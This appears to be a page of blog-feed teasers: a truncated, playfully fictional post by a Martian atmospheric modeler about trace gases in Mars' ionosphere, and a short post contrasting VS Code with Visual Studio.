By Dr. Masoom Jethwa, Martian Atmospheric Modeler* Sol 642: Phobos is mocking me again with its potato-shaped orbit, but down here in the hab, the real drama's in the code. Last sol's 2D photoelectron sketch was cute—like a kid's drawing of Olympus Mons—but Mars' ionosphere isn't a one-trick CO₂ pony. It's a polyphonic plasma party, with trace gases like N₂, Ar, and even sneaky H₂O belting out ionization harmonies. Ignore them, and your electron densities flop harder than a dust devil in low-g. Why obsess? As Perseverance sniffs ancient microbes and Artemis eyes Martian pit stops, we need models that nail atmospheric escape—how ions flee to space, eroding the planet's watery past. Professor R.P. Singhal's Analytical Yield Spectrum (AYS) from Elements of Space Physics (2022) is my North St…  ( 9 min )

Confused about VS Code vs Visual Studio? You're not alone! 🤔 I've noticed many developers (especially beginners) use these names interchangeably, but they're actually very different tools. Here's a quick breakdown Visual Studio Code (VS Code) 💻 A lightweight, fast, cross-platform code editor ✅ Best for: 🔑 Key Features: Visual Studio (VS) 🏢 A full-featured Integrated Development Environment (IDE) ✅ Best for: 🔑 Key Features: Quick takeaway: VS Code = Fast, versatile editor for most developers Visual Studio = Powerful IDE for .NET/enterprise development Which one do you prefer? Drop a comment! 👇  ( 6 min )